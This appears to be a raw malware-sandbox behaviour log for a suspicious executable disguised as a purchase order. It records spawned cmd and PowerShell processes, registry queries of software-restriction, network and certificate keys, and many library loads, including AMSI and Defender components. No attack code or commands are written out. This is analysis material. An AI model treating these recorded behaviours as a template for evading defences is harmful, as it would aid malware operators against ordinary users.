1c0100000a000000000000005d5800000200000000000000a033c7f2df010000aabbbff2df010000c0babff2df010000f8a3882a4e000000e8a3882a4e000000e8a3882a01000000f8a5882a4e00000048737cd2ff7f00000000000000000000a033c7f2df010000ef5ec4cfff7f0000801d15d0ff7f000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000066bbbff2df0100007cbbbff2df01000066bbbff2df010000aabbbff2df01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066bbbff2 (UID: 00000000-00005088) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d58000002000000000000007045c7f2df010000acbbbff2df010000c0babff2df010000f8a3882a4e000000e8a3882a4e000000e8a3882a01000000f8a5882a4e00000048737cd2ff7f000000000000000000007045c7f2df010000ef5ec4cfff7f0000801d15d0ff7f000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000066bbbff2df0100007ebbbff2df01000066bbbff2df010000acbbbff2df01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066bbbff2 (UID: 00000000-00005088) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000c01ec6f2df010000ccbdbff2df010000e0bcbff2df010000f8a3882a4e000000e8a3882a4e000000e8a3882a01000000f8a5882a4e00000048737cd2ff7f00000000000000000000c01ec6f2df010000ef5ec4cfff7f0000801d15d0ff7f000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000086bdbff2df0100009ebdbff2df01000086bdbff2df010000ccbdbff2df01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000086bdbff2 (UID: 00000000-00005088)31:T706,"HJGROUPS-PURCHASEORDER#170331.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "HJGROUPS-PURCHASEORDER#170331.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")32:T87c,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "ENABLEMULTICAST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "QUERYADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: ""; Value: "")33:Tc5e,"HJGROUPS-PURCHASEORDER#170331.exe" queries volume information of "C:\HJGROUPS-PURCHASEORDER#170331.exe" at 00000000-00007312-00000C17-3467489920 "cmd.exe" queries volume information of an entire harddrive"C:\" at 00000000-00003572-00000C17-3469528806 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00005088-00000C17-3478261748 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00005088-00000C17-3479091092 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005088-00000C17-3479345475 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005088-00000C17-3480448227 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00005088-00000C17-3480851206 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00005088-00000C17-3481644485 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00000864-00000C17-3489075599 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00000864-00000C17-3489953718 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00000864-00000C17-3490225437 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00000864-00000C17-3491303715 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00000864-00000C17-3491726456 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00000864-00000C17-3492905522 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00000864-00000C17-3493082215 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00000864-00000C17-349314838034:T5ca,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")35:T6fe8,"HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007312) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003572) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003572) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003572) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003572) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\9494eda0c9af503cb61fe450b5ba9c1a\Microsoft.PowerShell.Commands (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00005088) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00000864) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00000864) 